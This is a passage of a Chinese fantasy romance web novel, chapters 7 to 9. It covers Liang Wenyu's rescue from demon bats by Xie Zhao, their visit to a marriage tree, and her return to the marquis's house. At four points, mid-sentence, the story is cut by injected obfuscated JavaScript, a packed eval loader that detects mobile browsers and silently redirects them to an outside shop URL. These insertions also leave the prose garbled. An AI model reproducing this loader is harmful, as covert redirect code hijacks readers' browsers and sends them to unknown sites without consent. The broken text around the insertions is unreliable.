沈湄从小在玄清门修行,外表冷若冰霜实际却是不谙世事,近年来,谢昭之名在玄清年轻一代弟子中声名鹊起,原本那柄归属剑宗的上古神兵湛泸剑,居然挑中了无相宗的小弟子。那次之后,她就格外关注那个不苟言笑的少年,产生别样的情愫。可沈湄却一直没机会与这位分属别宗的师兄有多少接触,仅仅也只是半年前的弟子小较时,刻意上前与他说过几句话。 正想着,沈湄原本极为冷傲的脸出现半抹羞涩的红晕。梁温玉见她似乎信以为真,只能应付地笑笑,一时不知该说些什么。 梁温玉局促地抓了抓后脑勺,她这玩笑似乎开得大了些……要是被拆穿了,估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482576|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这女子是要杀了她的心都有。 她赶紧告辞,离开此处继续赶路,边走也在边想一件事。为何那沈湄说的瘴气,自己完全没有感觉到,甚至隐隐觉得身体里有股力量将她带到此处。而且,这种被莫名力量牵着走的感觉出现得越来越频繁了,她都被自己这突如其来的念头吓了一跳。 按沈湄指的路走了不到半个时辰,周围景致陡变,方才还翠色盈目、草木葱郁,转眼间变成荒山秃岭、岩崖裸露,竟似两重天地。 果然,继续向前只有一条陡路,窄窄的石径旁边便是万丈深渊,甚是吓人。 梁温玉本就畏高,可面前除了这条路再无别处可走,只得硬着头皮小心挪动着脚步。 忽而日光陡然一暗,四下生起阴风,卷石扬尘,将她吹得几乎站不稳,只能攀附着峭壁站住等那风过去。可那风中竟然夹着一股腐肉的气味飘了过来,刺鼻难当,一阵吱吱的喧嚣声从她耳畔疾速呼啸而过,仿若恶魔的笑声回荡在山间。 梁温玉还以为自己出现幻觉了,只见成群的黑影破空而来,瞬间遮蔽住半片天光。 她循着声音骇然抬起头,头顶一只身形巨大、面目狰狞的巨大蝙蝠,正在睁大眼睛看着自己。那体型比寻常蝙蝠起码大上十倍! 梁温玉极度恐惧下躲避着,失声尖叫起来。 她刚刚分明看见……那只蝙蝠的眼窝深陷,没有瞳孔,只有两簇幽绿鬼火。蝙蝠所过之处风声凄厉,像冤魂在哀嚎,扑闪着漆黑的蝠翼,仿佛从九幽地下飞出,朝她而来! 紧接着又飞来第二只、第三只……遮头盖脸猛冲过来,其中一只张着满口尖牙朝她颈间咬下。 梁温玉用胳膊护住脸,可她人小力弱实在难以招架,手臂不慎被蝙蝠的利爪划了个口子,登时痛得嘴唇发白,一股可怕的阴寒之感冷透到骨头缝里。似乎听见那些蝙蝠在唧唧吱吱地发出令人毛骨悚然的嗤笑声。 她瞬间怒火被点燃,心里闪过无数个念头,哪怕今日当真要命丧于此,也要和这些怪物拼了! 那一刻,突然从身体里迸发出一股炽热而充沛的力量!一双原本澄澈明净如秋水的眼睛,此时此刻,瞳孔深处燃起炽热的火焰,竟透出妖异的绯色。 “畜生,都给我去死!” 她用劲全身力气嘶吼,几欲眼前的一切毁灭燃尽。与此同时,她的身形移动犹如鬼魅,凌空悬在半空。 一只纤纤细手,以迅雷不及掩耳之势,逮住了最近处的蝙蝠,生生从中将蝠翼撕为两半,随着怪物撕心裂肺的惨叫,顿时黑血飞溅! 梁温玉宛如杀神附体,双目凶戾,妖火自她的衣袂之下燃起,瞬间烧毁了眼前的成片的蝙蝠! 紧接着脚下一空,整个人猛地坠下深渊! 风在耳边呼啸着,身子笔直地向下沉,她的心脏仿佛又停止了跳动。 这是哪里?自己为何会出现在这里…… 她缓缓举起双手,只见自己的满手都沾满蝙蝠的污血。 惊诧和慌乱间,眼中的戾气散去,眸子恢复了往日的清澈。她刚刚才恢复神智清醒过来,便看见四周都是散落在风里的残翅断肢,立即失声尖叫起来! “啊啊啊啊——” 她似乎看见,随着蝙蝠尸块一起俯冲落下的,还有那个一尘不染、洁净得刺眼的身影。 生死一线之际,一只手死死抓住了她的手腕。 7. 第7章 谢昭 真的是他! 梁温玉不敢相信自己的眼睛。 危急关头,谢昭居然出现在她面前,紧紧抓住了她! 两人继续靠着崖边一起向下滑出几丈,直到谢昭抓住块崖边的岩石,才硬生生阻止住两个人的身子继续下坠。 梁温玉身中寒毒,深入骨髓的冷让她忍不住发着抖,只能贴近他温热的身体才稍稍得以缓解。 手臂的伤口还在滴血,用力拉扯之下疼得她几乎晕厥,绝望地流下两行泪水。从小到大她何时受过这等委屈,如今却连续差点丢掉性命,怎么可能不怕! 她咬咬牙费力地伸长手臂抱住他的脖子,暂时脱离了危险。 “别哭了!你这样死抓着我不放,我没办法御剑了,想死不要带上我。” 梁温玉抬眼望去,只见谢昭脸色苍白,咬紧牙齿,身体悬在半空,两个人的重量仅靠他一只手吊着,指节因吃劲都已发白。 “……我、我现在该怎么帮你。” “你试试……能不能将我腰间的剑拔出来。” 梁温玉身体重心不稳,腾出右手碰到了湛泸冰冷的剑柄,却死活拔不动那把该死的剑。她气喘吁吁道:“不行,这样使不上力……你不是法术高强吗?赶快念咒语让你的剑出鞘啊!” 她哪里知道,御剑术需要借天地之灵力方可驱动法宝,本是玄清门弟子入门修炼的第一步。 方才谢昭从抓住她手的一刻就在尝试引天地灵气入体周转,然而连他自己也不知是何原因,突然就一口真气提不上来,居然无法唤醒湛泸剑,为了救这爱闯祸的千金小姐挂在悬崖边也是十分难受,进退两难。 谢昭沉默不语,忽然右臂用力将她整个人向上提起,一把揽住她柔软的腰。 梁温玉惊喘一声,像只小鸡一般被拎了起来,倒是没方才那么疼痛了。她却没有看见他此刻的表情变得古怪,这姿势靠她太近,都能看见她后颈处白皙柔腻的皮肤,还有耳边细碎的鬓发,莫名散发的淡淡少女香气,闻着不由得心中一荡。 梁温玉被他强劲有力的手臂箍得透不过气,两只手刚解放出来,连忙用力将湛泸剑拔出。 出了鞘的剑寒气森森,剑刃反射着摄人的银芒。这上古神兵似乎读得懂主人心中所想,飘到谢昭脚下载着二人腾空而起,终于脱离了险境。 悬崖、翠竹、苍松,深浅不一的绿意层层叠叠,接连着自他们的脚下闪过。 梁温玉的心砰砰直跳,震撼地看着脚下飞速而过的满山青翠,被那极为壮观的风景震撼地说不出话,恐惧之感也跟着缓解不少。 “我的衣服都要被你扯破了。” “对、对不起。”她嘴里说着,但仍然紧紧用腿和手臂缠紧谢昭硬得像石像一般的身体,伏在他的背上一刻不敢松开。 “九幽冥罗……” “你说什么?” “……方才那些血蝙蝠,似乎不是寻常妖物,和传说中名叫九幽冥罗的妖物很是相似。” “好可怕……你的意思是说,那些蝙蝠是从地狱里放出来的?”梁温玉想起刚刚那些可怕的没有眼睛的怪物,鸡皮疙瘩都出来了。 谢昭没有继续说下去, 这种至凶至阴的妖物专司负责看守忘川渡口那些被永世不得超生的亡魂,一旦离开冥界只怕根本活不了多长时间。光天化日之下有如此多的九幽冥罗出现在仙灵山,像是在追捕什么。 他回想起了「大荒妖记·堕神篇」中的那句话:妖神一朝破劫降世,万窟邪祟尽出。 若蓝氏所言非虚,难道九幽冥罗是为了妖神赤尾的元神而来? 梁温玉还在他背后一路聒噪,谢昭方才亲眼见这小丫头几招就灭了那些蝠妖,速度之快,招式之狠辣简直匪夷所思,那招式奇特并不像人类。 莫非,那日他用湛泸剑斩下狐妖首级时,那元神已经进入了这个五小姐的身体里,刚刚她身体爆发的也许就是妖神之力了…… 修真炼道一为追求永生,二为获得无上的力量,谢昭也不例外,他想变强,想有足够的力量可以驾驭手中这把湛泸剑,他更想靠一己之力光耀无相宗门。如果妖神之力可以为自己所用的话……谢昭的注意力转移到了梁温玉身上。 她根本对方才的事一无所知,还以为是谢昭杀退了那些蝙蝠,还在为逃过一劫感到侥幸。 “我若是以后也会这么厉害的法术就好了,以后谁再敢惹我,我就‘咻咻咻’灭了他!” “……” 谢昭没有否认,更没有反问她。她看似天真纯洁毫无心机,而且全身上下并无任何妖物附体的异样,谢昭当下只能静观其变。 梁温玉见他沉默不语,又问:“对了,你是怎么知道我在这的?” “你娘亲派人到处在找你,前山已经搜过好几遍了。我也只是猜你可能误入了后山的瘴气,被困在万仞峰上了。” 原来这里叫万仞峰…… 梁温玉又想说话,可突然一阵眩晕和恶心之感袭来,身子支撑不住的向后倒去,谢昭脚下的湛泸剑突然一沉,山林里冰凉的风飞速袭过她的脸,她身子给吹得重心不稳,意识也跟着开始涣散。 那种冰冷的恶心之感从手臂的伤口开始蔓延,只怕是那蝙蝠的爪子有毒! “停……放我下来……”梁温玉发出微弱的呓语。 湛泸剑开始左右摇晃,继续强行御空只怕会有摔下来的危险,谢昭将她及时拉住,又撑着勉强飞了一段,找到一块空地将她放下。 梁温玉身子一软倚着棵树喘着粗气,手臂的鲜血浸透衣袖,脸色惨白。 谢昭皱起眉头,替她拉起袖子,只见伤口处尽是黑紫之色,显然是中了毒。 他片刻未思索,低头便将那毒血一口接一口用嘴吸出,直到看见伤口流出的血恢复了鲜红才停下。 梁温玉见他这般不顾安危来救自己,不禁心头一震。 “你这样……不怕自己中毒吗?” “若不这样,你即刻就要没命了。”谢昭的嘴唇被她的血染得鲜红,居然有一丝妖冶的美,他从怀里掏出一颗解毒灵丹服下,又递了一颗给她。 他擦去嘴角的血渍,从衣摆处撕下块布条,小心帮她把伤口包扎好, “把这药吃了,便不会再有大碍,回去记得伤口再敷些金创药。” 梁温玉的脸庞恢复了些血色,因为疼痛眼睛看起来水汪汪的,想起方才两人绝境时肌肤相亲紧紧相拥在一起的模样,内心有种说不出的窘迫,脸颊滚烫,她故意半开玩笑地说道: “呃,虽说这两回都是你救我的,但不是我求的你……别指望我会知恩图报。” 他挨着她坐下,静静看着面前不停擦拭衣服上污渍的女孩。 她此时衣襟满是血污,头发凌乱,还受了伤,在如此狼狈的境遇还在逞强,那张局促的小脸略显娇羞,与方才那个大开杀戒的魔女,简直判若两人。 “那木偶你可还带在身上吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482577|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看似不经意地问道。 梁温玉苦笑着摇头,“那木偶在我出事时就下落不明了……唉,都怪我贪玩,招惹了不干净的东西。上次我还不信你的话,咬了你一口……” “……” 谢昭沉默地擦拭着剑身,一时间气氛有些尴尬。 “上次我咬了你的手臂,这次那些蝙蝠妖替你报了仇……你已经不生我的气了吧?” 她故意朝他坐的位置挪了挪,调皮地眨了眨眼睛。 谢昭淡淡道:“若是我真生气,方才就不会救你……只是我不知,你为何会到山上来?” 梁温玉刚想说自己是为了寻找结香树,忽然想到半路偶遇沈湄之事。 她的脑筋开始疯狂运转应当如何把沈湄约他月下练剑的事说出来,却发现实在有些难以启齿。当下决定还是等稍后脱离了危险,再同他细细说。万一此时惹怒了此人,把她一个人丢在这荒郊野岭该如何是好。 “我是为了寻找姻缘树,才被困在山上的。我很小的时候娘曾经带我来过一回,她那时说希望未来有一日可以和爹爹一同在那树下祈福。可惜她的心愿一直没有达成,爹爹总是军务缠身,后来……再也没听娘提起过此事了。对了,你有法子带我找到那棵结香树吗?” “伤成这样了还要去?” 梁温玉笑着道:“我就知道你能找到那棵树……带我过去好不好?平日里我身子不好……侯府母亲更是不准我随意外出,求求你了,我真的很想去见见那姻缘树。” “你有了心仪之人?” “才不是!我是为了阿娘和爹爹……他们最近话都很少说了。唉,我娘她是个痴心女子,我不忍看她成日失魂落魄。据说那树下埋着狐仙娘娘,会保佑有缘出现在树下许愿的男女!我只是想替她完成这个小小的心愿,将这条绸带绑上去……” 说着,梁温玉从怀里掏出了那条红细带,谢昭看着那绸带上写得歪歪斜斜的两个名字,脸上的表情复杂。 “无稽之谈罢了。那树下埋葬的女子,自己一生都过得坎坷,又能庇佑得了谁呢?” 谢昭看向远方,淡然的脸上居然浮现出一丝忧伤。 梁温玉撒娇道:“若真的是你说的这样,整个临沅城还把这树传得神乎其神,只能说明那埋葬在树下的定是个心肠很好的仙女!更要去拜祭一下了。” “……” 梁温玉低头瞧了瞧自己身上的污血,忽然伸手拉住了他,低声求道:“这样吧,算上你之前救我的两次,他日我梁温玉也会为你做三件事!我们拉钩好不好……” “……” “……待会儿可不可以先带我去找件衣服换上?我不想让我阿娘看见我现在的样子。” 她真的伸出了小指,谢昭才不想理她这般幼稚的举动,她这样娇生惯养的小姐也只会抚琴绣花罢了,还说要为他做事,真是可笑。 梁温玉气呼呼地拉起他的左手,用自己的小指头紧紧勾了一下他的小指。那手指皮肤柔腻温热,是未曾沾过半点粗活才会有的细若无骨。 他心头莫名一乱,不耐烦地把手抽走。感觉自己这回是真的惹上了大麻烦,似乎自己是欠她的一样…… “上来,再耽误下去时间就要天黑了。”谢昭冷漠地祭起了湛泸剑。 “走、走!” 梁温玉心想,这人当真阴晴不定,连忙拉着他的衣服下摆,小心翼翼爬到了剑上。 二人御剑同行,向西飞去。 8. 第8章 结香 谢昭带着梁温玉踏剑破空疾驰而去,不到一炷香的功夫,便落在谢昭的宗门所在的无相峰上。 此时天色欲暮,黄昏将至。 出现在她眼前的是一座庭院,不及侯府那么宽敞,回廊连接的只有几间简朴的院子和房间,四周种着些松柏类的树木,高大笔直,唯一神奇之处是这庭院内漂浮着白色的云雾,犹如仙境一般。 这里便是谢昭所在的玄清门无相宗弟子生活起居的地方。 “你和你的师兄弟就生活在这里吗?当真是个世外桃源。” “这时辰师兄弟都出去练功了,弟子房后面有条溪涧,你先清洗下,我去房里找件洗干净的衣裳给你。” “咳咳,有劳了。” 梁温玉假装矜持,规规矩矩地站直身子笑了笑。 夕阳的余晖照在她脸上,带着淡淡的祥和暖意。 四下无人,她穿过庭院,来到弟子房后面,果然看见溪水清澈。 仔细洗过沾在脸上和手上的血污,梁温玉看向岸旁种的兰花,总觉得与自己家中的那些有些相似。 区别之处是这些兰花的细蕊处都微微沁出晶莹的露珠,她用手指轻轻碰触,那露珠先是化作一只蝴蝶翩翩飞起,又转眼化作金光消散了。 她正觉得好奇,忽听身后传来个声音:“这是往生兰……每一株都有一个死去的灵魂在上面。” 梁温玉闻言一惊,吓得手一缩向后看去。 说话的是个身着蓝色道袍的年轻道士,瘦瘦高高,颇具英气,眼神带着狡黠。 他快步走近问道:“难得看见生面孔……师弟,你是哪个宗门下面的?” “我……我……”梁温玉支支吾吾回答不上。 视线落在梁温玉脸上,那道士不禁一怔。 好美的姑娘。夕阳洒在她娇嫩的脸庞上,水珠顺着白皙肌肤轻滑而下,显得楚楚可怜,美得动人心魄。 “我怎么啦?”梁温玉摸了摸脸。 “咳咳,没事没事……你受伤了?来,我带你到丹房拿药。” 这瘦高道士名叫方德,出家前曾是纨绔子弟,颇具识人的阅历,一眼便已看出梁温玉是女扮男装,对这女子的身份很是好奇。 “五师兄。”谢昭此时手中拿着一件朴素长袍走了过来。 梁温玉接过他手中的布衣,套在自己脏了的衣服外面。 “老六……这么清秀的小兄弟……是师父新收的道童吗?以后就跟在我身旁修行吧,保准你能顺利通过试炼……”说着一脸坏笑着把梁温玉拉到了身边。 他的手臂刚要搭上她的肩头,人就立刻被谢昭又拉回到身后。 “别闹了,五师兄。日落之前我还要把她送下山去……她娘亲还在观中等她。” “喂、喂,别走那么快嘛。我还没问她愿不愿意拜入我们无相宗门下,以我看相多年的经验……这小兄弟的资质可不输于你啊六师弟。” 梁温玉哑然笑着,朝方德挥了挥手告别。谢昭没理他,立即带着梁温玉离开了。 再次同他一起踏在剑上,梁温玉已经不像一开始那样慌乱,甚至有些喜欢上这种伏在他背上,安心的感觉。 “方才我五师兄若有唐突冒犯之处,请姑娘不要放在心上。” “怎么会,我看得出你们师兄弟感情很好……我家那几个哥哥姐姐,平日都只会一本正经的同我说话。” 说话间已经来到了另一座迷雾环绕的山头。 刚刚着地,谢昭便立刻身子远远离开了她。 “这就是你要找的那棵树。” “你、你真的带我来了!” 梁温玉欢快地迈着脚步向前跑去。 此处四周飘来灰白的雾气,和方才无相峰上那种仙气飘飘的白雾有所不同。此处的雾气格外冰凉,还掺杂着许多细小的灰烬。 她循着那些灰烬向远处看去。 那棵传说中的姻缘树就在雾中央,和梁温玉记忆中的那棵巨大的结香如出一辙。 二人皆默不作声,静静站在雾霭中仰视着这棵神树。 树冠很大、很高,高得顶到云。 枝条上没有叶子,却缀满了白花簇簇,冷香扑鼻而来。满树枝桠都系满了红绸带,层层叠叠,在风里无声轻荡,像是有灵魂在暗处轻轻扯动着。 这树静静伫立在此处已有千年,已经见过太多缘聚缘散,还有那人间数不清的痴念与遗憾。 仿佛只要雾不散、树不移,那姻缘就不会消灭。 “好美啊。” 梁温玉赞叹一句,伸手拉过结香树垂下的细枝,掏出怀中的红绸,细心系好一个漂亮的结。 然后屈膝跪在树前,垂眸虔诚一拜,轻声祈愿: “狐仙娘娘在上,信女梁温玉求娘娘垂怜,保佑小女父母岁岁安稳,姻缘绵长,相守不离。” 说罢,她深深叩首。 就在此时——原本平静的结香树,突然剧烈震颤! 树干发出“咯吱咯吱”的声响,方才梁温玉系上红绸的那根枝桠疯狂扭动、缩短, 只见那条树枝像被无形烈火灼烧过一样,瞬间枯黄卷曲变成灰烬。那条才挂上去的红绸直直掉落在地上。 梁温玉瞪大了眼睛,一脸的震惊。 “退后!”谢昭惊呼一声。 感受到结香树散发出的森寒戾气,他祭出那把湛泸剑,将她挡在身后。 梁温玉却像什么都听不见了,她的心里涌起一种急迫的冲动,突然挣开他的手,踉跄着扑上前,去捡地上的红绸。 可就在她指尖将要碰到的一瞬——四周粗韧的枝条猛地横扫过来,不待反应过来,便先一步卷住那条红绸。紧接几声裂帛脆响,那条红绸转眼便被撕成碎布。 眼前的树仍在微微震颤,像是余怒未消。 “为什么会这样?这棵结香树似乎在发怒……”梁温玉望着满地碎红,喃喃自语道。 “这树自有灵性,也许是我们贸然出现在此不合规矩。” 梁温玉摇了摇头道:“爹前面已经娶了亲,旁人都说侯府的大娘子与他才是一对恩爱眷侣……爹和娘在一起,本就天理不容?怪不得连狐仙娘娘都不愿意祝福他们……” 梁温玉小嘴一瘪,眼泪憋不住流了出来,却被她逞强地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482578|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把抹掉。 “最近的事情太多了,我……我不知怎么说……从小,她们就说是我娘勾引了爹爹……还说我娘出身如何低微。还说我热症缠身,是因为我娘是不祥之人,所生的孩子才会体弱多病。就是这些风言风语,才让她连唯一的孩子都没能亲自养大。” 谢昭看着她如鹿一般澄澈的眼神,心有不忍,稍作思量,还是宽慰了她几句。 “蓝殷夫人她不相信缘分天定……对她而言,旁人的目光并不重要,她心里真正在意的只有令尊和你,你又何必替她难过?” 梁温玉看着他英挺的脸在柔和的光线下如此真实,俊美得如同雕刻,内心忍不住泛起一丝感激之情。 她轻咳了一声,假装整理了一下自己的头发。 “你竟比我更了解我阿娘……我相信爹爹不会是个寡情薄幸之人。你说的对,就算没有爹爹爱护她,她身边还有我呢。” 梁温玉说完,跪下朝那棵树长长叩首。 “狐仙娘娘若不愿保佑信女所求之事,那就保佑我娘可以下半生平安喜乐吧。” 此时,一阵风吹过,结香树簌簌飘落下许多淡黄的花瓣,仿佛梁温玉的心事,都被它看尽了。 “好啦,我们走吧!” 花儿落得那么温柔,那么轻,好像连天地都跟着安静下来。 花瓣在随风飘零,无人看见,那浓雾之下,那狐面木偶出现在树干下,似乎是被遗弃在这一样,带着那若有若无的笑意,目送着两人御剑离开。 谢昭也终于赶在天黑前将她安全送回到了玄清观。 奇怪的是,四周鸦雀无声,上午还络绎不绝的香客都已经不见。 夕阳的光影下,梁温玉披着他借给她的那件布袍,站在玄清观前同谢昭道别。 “谢、谢……”她支支吾吾,想再说几句话,可是却不知从何说起。 “你要谢我什么?” 她吞了口口水,“我是说……我知道你姓谢,名字是‘昭’对吧……呃,你有什么要昭告天下的吗?” 话一出口,显得有些没头没脑,但谢昭却笑了。 他嘴角微微上扬,那点笑意像雪天的阳光一样温暖,素来冷峻的气场也软了半分,她还是第一次看见他笑。 梁温玉羞赧着低下头。 “谢大哥,我还没有郑重地谢过你呢……今天实在是我莽撞了。” 这一声“谢大哥”喊得谢昭毫无防备,他反应了一下,掩饰住了内心的变化。 “你娘亲今日已经替你谢过了,她还在等你,快进去吧。” 二人再未多言,梁温玉站在原地目送着他乘剑离去的背影,内心忽然有些失落,伤口又开始隐隐作痛。 白天的热气散去,此时倒觉得凉飕飕的。 玄清观内此时灯火通明,梁温玉突然“啊”的一声想起,她忘记将沈湄交代的明晚约谢昭在小竹轩见面之事和他说了! 正觉得慌乱时,忽然听见马蹄声疾驰而来,惊起林间飞鸟。 梁温玉看向远处,一眼便认出这是侯府的马车。不好!定是爹爹知道她和娘出门了,来逮她回去。 9. 第9章 侯府 夕阳残照下的天边泛起了橘红色,最后一抹余晖即将消失。 马蹄踏过的地面尘土飞扬,一队黑衣护卫簇拥着的鎏金马车在玄清观前停靠了下来,二话不说将整座道观重重包围。 梁温玉刚想偷偷躲进树林,只见车帘被掀开,武定侯梁桓身着紫袍坐在车内,神色冷峻,目光精准落在的梁温玉身上。 “温玉!” 梁温玉怔在原地,小声道:“爹?您……您怎么来了。” “上车,跟为父回去。”梁桓沉声道。 梁温玉别开脸,语气带着倔强。 “我不回侯府,阿娘她还在观里等我……我要回家!” “你还要胡闹到什么时候?你母亲在侯府,那里才是你的家。” 梁温玉听出梁桓似有怒气,当下就觉得似乎有事发生,委屈地咬了咬唇,声音颤抖。 “……我阿娘呢?” 梁桓眼睛里闪过一丝寒意又转瞬消失,语气稍软了些。 “你阿娘有事要去办,不要再淘气,随我回去。” 后面的马车有声音传来。 “姑娘,夫人她临走前……吩咐我们先回侯府。” 梁温玉一看,果然是燕草。虽然不情愿,眼下别无他法,也只能乖乖上了车。 车上燕草低声在她耳边说道:“姑娘,稍安勿躁,回府后我再将缘由细细和您说。” 马车驶进了城,远远便望见大街尽头有一座十丈高的青石牌坊,御笔题着四个描金大字:武定侯府。侯府大门口有一队士兵手持长矛把守,可见戒备森严。 进门后院落重重,不少华美的轩榭掩映在树丛之中,目之所及尽是雕梁画栋。 如此富丽堂皇的侯府,梁温玉却过得战战兢兢。 平原君侯一脉人丁稀薄,梁桓共有二女一子,除了梁温玉外都是正妻王氏所出,独子梁承骁自小投身军营,平定南蛮战乱有功,年纪轻轻就被皇帝嘉赏奉为太尉,近日将要抵京上任禁军统领。 嫡长女梁意琬如今年方十七,仍待字闺中。 如今侯府中所住的除了梁桓的大房外,还有老太君秦氏及二房梁栩一家。 梁栩所出的三少爷梁瑾和四姑娘梁意欢与大房的两女年龄相仿。 在梁意欢看来,爹爹梁栩在府中向来说不上话,梁意琬是长房嫡女的身份,又有兄长撑腰,被她压一头也就罢了,可近几年连外室所生的梁温玉都要踩在她头上了。 她到底也是梁府的正牌小姐,怎么也强过那个从外面领回来的一个野丫头吧。 她也替那性子素来温柔高贵的二姐姐抱不平。 武定侯府素来家世清白,永定侯战功赫赫,袭爵后也无纳妾,主君夫妇更是恩爱和睦,梁意琬作为永定侯独女,地位何等显贵。 偏偏老天不长眼,冒出来蓝氏这么个红颜祸水,出身不堪说也就罢了,自打她出现,梁桓便在战场上屡战屡败!两人的私情更是闹成了大晟朝人尽皆知的风流韵事。 后来大伯父梁桓从外面带回来个小五,疼爱得紧,也不知二姐姐是怎么咽下这口气的。 梁意欢又想起她那盒西域带回来的胭脂,被那个该死的小五放了条毛虫进去,差点把她的哮症吓出来。 这个出身卑贱空有副好皮囊的小五和她娘一样都是天生的狐媚子,勾的大伯父整日心都在她身上。 最令她感觉无语的是大伯母王氏,竟然也对小五很不错,一直都是客客气气的模样。吃穿用度都和她们两个嫡出小姐一样,还准她每个月都能出府去探望她的亲娘。 她看准了大房的母女俩都是好拿捏的软柿子了。满临沅城估计也找不出第二户官宦人家会对一个私生子这么大度了。 直到前几天小五在院子里出事的晚上,梁意欢才发现,其实大伯母和大姐姐心思也和她一般,早就想除掉这个眼中钉了。 是夜。 疏星淡冷,灯影摇得人心发慌。 姐妹二人在房中低语,梁意琬怀抱着波斯猫,四姑娘梁意欢在旁绣着鸳鸯手帕。 “二姐姐,我听说小五要回来了。”意欢试探着小声说道。 “幸好小五她没事,那晚她们说有陨星掉在咱家院子里,我就觉得不祥……后来我母亲说她那边的娘会些法术,就把人送过去,救活了也算是老天庇佑。” 意琬若有所思地将猫放在地上。只见她生了一张秀雅的鹅蛋脸,眉眼沉静柔和,气质更是雍容华贵,把四妹拉倒跟前说话。 意欢用手指绕着发辫,继续说了下去。 “听跟过去的周妈讲,那个女人原本连棺木都已经备下了……结果放了几天,人突然又活过来了,好像是玄清观的道士上门来给驱了魔!” 意琬皱眉道:“别说这个了!大半夜听着怪怕人的。” 意欢抓紧了意琬,神色郑重地说道:“这临沅城的怪事还不够多么,留这样的祸害在府里,日后你我议亲都有麻烦。天瞾国如今虎视眈眈,这次派使臣前来,听说逼得圣上已经下旨将镇南王家那个不受宠的县主送去和亲了……若侯府也失势,日后轮到你或我去和亲,也未可知啊!” 意欢似乎又想到什么,声音压得更低,继续说道。 “二姐姐,府中早有人在传,说永福巷那女人不是人,是天瞾安排在大伯父身边勾魂摄魄的妖精。” “别、别再说了!若那女人是妖怪,那小五不也……大家都是一家人不好背后这样嚼舌头。” 梁意琬偏过头去,不想继续说下去。可仔细想想,四妹妹的话其实不无道理。 世人趋吉避凶,哪家会愿意和不祥的人家结亲呢。连年战乱,如今临沅城里男少女多,勋贵里适龄的好儿郎更是十分稀罕,只怕日后连求个门当户对都难了。 此时,侯府大门打开,梁桓神色匆匆走在前头。还没到前厅,只见主母王氏已经在外面等候了。 王氏打扮得很素净,一身青蓝色的褙子,脸庞略宽,微微下垂的眼角透露一丝悲悯,显得慈眉善目。看见病愈归来的梁温玉亲昵地将她拉到跟前,摸了摸她的头。 “快来让我看看五丫头,仔细别在外面再吹着风。” 王氏用手掐了掐梁温玉的小脸,白嫩的皮肤像是能掐出水来。 房内的意琬和意欢听见丫鬟的通报,也神色慌张地从房间出来。她二人绕过影壁,只见梁温玉好端端地站在梁桓身边,那白里透红的好气色,完全不像是死过一次的人。 二人向梁桓行过礼,就好奇地盯着她看。 梁温玉知道她们心里在想些什么,立即恭敬有礼地颔首浅笑,大大方方地问了声:“二姐姐好、四姐姐好。” “阿玉,你不在的这些天,你两个姐姐都很记挂着你。”王氏和蔼地把意琬和意欢领到跟前。 两人仍满脸不可思议地看着的梁温玉,还是意琬先反应过来,轻轻点头致意,客气地打了声招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482579|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼。 梁温玉笑意盈盈,娇美可爱。 意琬、意欢完全不敢相信眼前的人就是从前那个热病缠身的病秧子梁温玉! 意琬论容貌本也清秀可人,但是这样一对比却差了不只一点点。梁温玉五官却像极了蓝殷,原本就是个美人坯子,只是少了些精致妩媚的韵味,加上热症的缘故面黄肌瘦,但是如今身子好了,气色也好了不少。 女子很少有不爱美的,意琬看了怎能不心生嫉妒呢? 往日里两姐妹仗着嫡出的身份,时常会提醒她嫡庶有别,背地里没少暗戳戳地使绊子。梁温玉随她们去,惹急了时就撒泼打滚,平时也没少捉弄两个身份高贵的姐姐。 梁温玉本就和她两人结下过梁子,此时她忧心娘亲的安危,只想快点回房向燕草问清楚事情原委,不想再留在这里假惺惺地扮演姐妹情深的戏码。 “爹爹,我累了,要回房休息了。” 王氏道:“侯爷,您一路上车马劳顿,我已命丫鬟备好热水,快快回房休息吧……” 正要回房时,忽然听见背后传来一个爽朗的男声。 “阿玉!你身子全都好了吗?快过来让你三哥看看。” 只见堂屋门前多了一道颀长身影,梁温玉抬头看见一个俊雅谦和的贵公子朝自己微笑着,正是自己的堂兄,梁意欢的兄长,三少爷梁瑾。 